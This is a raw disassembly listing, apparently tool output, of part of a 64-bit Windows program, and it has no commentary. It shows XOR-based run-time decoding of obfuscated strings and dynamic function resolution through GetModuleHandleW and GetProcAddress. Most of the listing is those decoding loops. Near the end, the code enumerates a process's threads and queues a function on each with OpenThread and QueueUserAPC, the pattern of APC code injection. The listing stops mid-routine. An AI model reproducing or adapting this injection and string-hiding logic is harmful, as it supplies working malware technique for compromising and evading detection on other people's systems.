pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm11, xmm1
movd dword [rbp + 0x214], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x218]
xorps xmm10, xmm1
movd dword [rbp + 0x218], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm13, xmm1
movd dword [rbp + 0x21c], xmm13
mov ebx, 0x10
mov r13, qword [rsp + 0x50]
mov eax, ebx
lea r8, [rbp + 0x210]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x1400249b0
lea rcx, [rbp + 0x210]
call fcn.140014d50
jmp 0x140025cb2
movups xmm0, xmmword [0x14009d370]
movups xmmword [rbp + 0x800], xmm0
movsd xmm0, qword [0x14009d380]
movsd qword [rbp + 0x810], xmm0
mov eax, dword [0x14009d388]
mov dword [rbp + 0x818], eax
movzx eax, byte [0x14009d38c]
mov byte [rbp + 0x81c], al
mov r8d, ebx
cmp r12d, 2
jl 0x140024b4a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x800]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140024a50
cmp r8d, 0x1d
jge 0x140024b93
movsxd rax, r8d
lea r9, [rbp + 0x800]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140024b60
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0xe70]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe70]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xe70]
call fcn.1400523c0
movups xmm5, xmmword [str._PDY_U_t_t]
movups xmmword [rbp + 0x408], xmm5
movq xmm6, qword [0x14009c998]
movq qword [rbp + 0x418], xmm6
movzx eax, word [0x14009c9a0]
mov word [rbp + 0x420], ax
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r12d, 2
jl 0x140024d60
movdqa xmm4, xmmword [0x14009e400]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rbp + 0x408], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x410]
xorps xmm3, xmm0
movq qword [rbp + 0x410], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, xmm6
xorps xmm3, xmm0
movq qword [rbp + 0x418], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x408]
lea r9, [r9 + rax*2]
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140024d70
lea rcx, [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r10, rax
test rax, rax
jne 0x140024ff6
movups xmm2, xmmword [str.sPBzW_OWYu_Q__CESYhKUXYNM_]
movups xmmword [rbp + 0x230], xmm2
cmp r12d, 2
jl 0x140024fae
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x230], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x234]
xorps xmm11, xmm1
movd dword [rbp + 0x234], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x238]
xorps xmm10, xmm1
movd dword [rbp + 0x238], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm13, xmm1
movd dword [rbp + 0x23c], xmm13
lea rcx, [rbp + 0x230]
call fcn.140014d50
jmp 0x140025cb2
lea r8, [rbp + 0x230]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jl 0x140024fc0
lea rcx, [rbp + 0x230]
call fcn.140014d50
jmp 0x140025cb2
movsd xmm0, qword [str.xZWStPXI_OGh_]
movsd qword [rbp + 0xa8], xmm0
mov ecx, dword [0x14009be38]
mov dword [rbp + 0xb0], ecx
movzx eax, byte [0x14009be3c]
mov byte [rbp + 0xb4], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002517d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.xZWStPXI_OGh_]
xorps xmm1, xmm0
movd dword [rbp + 0xa8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xb0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140025190
lea rdx, [rbp + 0xa8]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400253cf
movsd xmm0, qword [str.sPBgJVYzXYLZ32B]
movsd qword [rbp + 0x130], xmm0
mov ecx, dword [0x14009cf08]
mov dword [rbp + 0x138], ecx
movzx eax, word [0x14009cf0c]
mov word [rbp + 0x13c], ax
movzx eax, byte [0x14009cf0e]
mov byte [rbp + 0x13e], al
cmp r12d, 2
jl 0x140025378
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [str.sPBgJVYzXYLZ32B]
xorps xmm8, xmm0
movd dword [rbp + 0x130], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x134]
xorps xmm11, xmm1
movd dword [rbp + 0x134], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x138], xmm10
mov ebx, esi
mov eax, ebx
lea r8, [rbp + 0x130]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jl 0x140025390
lea rcx, [rbp + 0x130]
call fcn.140014d50
jmp 0x140025cb2
movups xmm2, xmmword [str.sPBgJVYzXYLZ32b]
movups xmmword [rbp + 0x198], xmm2
movsd xmm0, qword [0x14009baf8]
movsd qword [rbp + 0x1a8], xmm0
movzx eax, byte [0x14009bb00]
mov byte [rbp + 0x1b0], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400256b0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x198], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a0]
xorps xmm2, xmm1
movd dword [rbp + 0x1a0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a4]
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a8]
xorps xmm2, xmm1
movd dword [rbp + 0x1a8], xmm2
movdqa xmm6, xmmword [0x14009e3d0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 0x18
jmp 0x1400256b8
movdqa xmm6, xmmword [0x14009e3d0]
mov eax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400256d0
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xe90]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe90]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xe90]
call fcn.1400523c0
mov eax, dword [0x1400afae8]
cmp eax, 1
jne 0x140025d19
movups xmm0, xmmword [0x14009d5e0]
movups xmmword [rbp + 0xaa8], xmm0
movups xmm1, xmmword [0x14009d5f0]
movups xmmword [rbp + 0xab8], xmm1
movups xmm0, xmmword [0x14009d600]
movups xmmword [rbp + 0xac8], xmm0
mov eax, dword [str._bLk_5]
mov dword [rbp + 0xad8], eax
movzx eax, byte [0x14009d614]
mov byte [rbp + 0xadc], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400258ba
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xaa8]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x30
jl 0x1400257c0
cmp r8d, 0x35
jge 0x140025903
movsxd rax, r8d
lea r9, [rbp + 0xaa8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400258d0
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp + 0xeb0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xeb0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xeb0]
call fcn.1400523c0
mov edi, dword [rsp + 0x48]
mov edx, edi
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400259ed
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12e4], xmm0
mov qword [rbp + 0x12f4], rbx
mov dword [rbp + 0x12e0], 0x1c
lea rdx, [rbp + 0x12e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400259e4
mov r14, qword [rsp + 0x50]
nop word [rax + rax]
cmp dword [rbp + 0x12ec], edi
jne 0x1400259d0
mov r8d, dword [rbp + 0x12e8]
xor edx, edx
mov ecx, 0x12
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1400259cc
mov r8, r13
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x48]
lea rdx, [rbp + 0x12e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140025990
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [0x14009cc6c]
mov word [rbp - 4], ax
movzx eax, byte [0x14009cc6e]
mov edx, dword [0x14009cc68]
movups xmm2, xmmword [str.9_u__XNeuSTZ5edgJBCJ]
mov byte [rbp - 2], al
mov dword [rbp - 8], edx
movups xmmword [rbp - 0x18], xmm2
cmp r12d, 2
jl 0x140025c3e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp - 0x18], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp - 0x14]
xorps xmm11, xmm1
movd dword [rbp - 0x14], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp - 0x10]
xorps xmm10, xmm1
movd dword [rbp - 0x10], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm13, xmm1
movd dword [rbp - 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
